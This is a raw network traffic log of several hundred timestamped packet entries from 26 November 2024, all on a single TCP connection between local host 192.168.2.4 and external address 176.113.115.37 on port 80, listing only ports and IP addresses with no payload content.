Nov 26, 2024 00:07:21.046664000 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.050466061 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.050508022 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.050579071 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.050630093 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.054430008 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.054488897 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.054544926 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.054630995 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.058382988 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.058435917 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.058484077 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.058527946 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.062491894 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.062666893 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.062688112 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.062727928 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.066306114 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.066370010 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.066374063 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.066421986 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.070276022 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.070327997 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.070395947 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.070473909 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.074249029 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.074306965 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.074322939 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.074366093 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.077611923 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.077663898 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.077718019 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.077874899 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.080881119 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.080939054 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.080998898 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.081043005 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.084248066 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.084300995 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.084383965 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.084526062 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.087549925 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.087600946 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.087671995 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.087714911 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.090900898 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.090951920 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.091114044 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.091234922 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.094238997 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.094291925 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.094360113 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.094429970 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.097532988 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.097584963 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.097664118 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.097714901 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.100882053 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.100995064 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.101052999 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.101366043 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.104216099 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.104279995 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.104285002 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.104330063 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.107547998 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.107599974 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.107646942 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.107702971 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.110986948 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.111052036 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.111082077 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.111190081 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.114207029 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.114269972 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.114458084 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.114526033 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.117532969 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.117597103 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.117626905 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.117675066 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.120862007 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.120914936 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.120951891 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.120992899 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.124197960 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.124273062 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.124331951 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.124382973 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.127517939 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.127588987 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.127615929 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.127810001 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.130850077 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.130912066 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.130950928 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.130983114 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.134202003 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.134265900 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.134325981 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.134421110 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.137538910 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.137594938 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.137661934 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.137813091 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.140892982 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.140948057 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.141144991 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.141221046 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.144184113 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.144237041 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.144344091 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.144577026 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.147517920 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.147608042 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.147706032 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.147762060 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.150872946 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.150962114 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.150964022 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.151036024 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.154176950 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.154232025 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.154325962 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.154437065 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.157469988 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.157519102 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.157598019 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.157682896 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.160819054 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.160868883 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.160898924 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.161118984 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.245557070 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.245620966 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.245839119 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.245909929 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.247036934 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.247092962 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.247611046 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.247674942 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.247739077 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.247814894 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.250762939 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.250818014 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.250984907 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.251030922 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.253920078 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.253962994 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.254040003 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.254172087 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.257020950 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.257133961 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.257154942 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.257178068 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.260165930 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.260221004 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.260272026 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.260344982 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.263317108 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.263365030 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.263418913 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.263545036 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.266453981 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.266540051 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.266570091 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.266611099 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.269644976 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.269717932 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.269745111 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.269782066 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.272747040 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.272790909 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.272874117 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.272927046 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.275886059 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.275943995 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.275991917 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.276122093 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.279027939 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.279099941 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.279133081 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.279192924 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.282175064 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.282258034 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.282284021 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.282326937 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.284471035 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.284542084 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.284568071 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.284691095 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.286747932 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.286811113 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.286838055 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.286895037 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.288986921 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.289055109 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.289104939 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.290441036 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.291235924 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.291359901 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.291414022 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.293498039 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.293585062 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.293612003 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.293792963 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.295739889 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.295792103 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.295814037 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.295869112 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.297961950 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.298019886 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.298079967 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.298151016 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.300187111 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.300245047 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.300348997 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.300411940 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.302405119 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.302535057 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.302539110 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.302586079 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.304719925 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.304790974 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.304898977 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.305250883 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.306907892 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.306962013 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.307033062 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.307079077 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.309137106 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.309190035 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.309262037 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.309588909 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.311362028 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.311423063 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.311445951 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.311486006 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.313620090 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.313674927 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.313750982 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.314049959 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.315875053 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.315933943 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.315959930 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.315995932 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.318100929 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.318161964 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.318295002 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.318340063 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.320322037 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.320378065 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.320512056 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.320558071 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.322578907 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.322629929 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.322669029 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.322760105 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.324806929 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.324862957 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.324865103 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.324923992 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.327030897 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.327164888 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.327207088 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.329282045 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.329324007 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.329334974 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.329365015 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.331506014 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.331558943 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.331617117 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.331660986 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.333755016 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.333812952 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.333884954 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.333934069 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.335998058 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.336072922 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.336103916 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.336489916 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.338244915 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.338294029 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.338303089 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.338349104 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.340487957 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.340548992 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.340612888 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.340662003 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.342753887 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.342808008 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.342823982 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.343101978 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.344985962 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.345035076 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.345118046 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.345165968 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.347235918 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.347299099 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.347431898 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.347480059 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.349613905 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.349667072 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.349807978 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.349862099 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.351973057 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.352030039 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.352057934 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.352108002 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.354278088 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.354331017 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.354350090 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.354399920 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.356232882 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.356287956 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.356311083 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.356372118 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.358365059 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.358416080 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.358484030 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.358515978 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.360605001 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.360723019 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.360728979 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.360778093 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.362834930 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.362922907 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.362951994 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.363044977 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.365072966 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.365151882 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.365181923 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.365236044 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.367325068 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.367388964 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.367491007 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.367541075 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.369554043 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.369611979 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.369642973 CET	80	49731	176.113.115.37	192.168.2.4
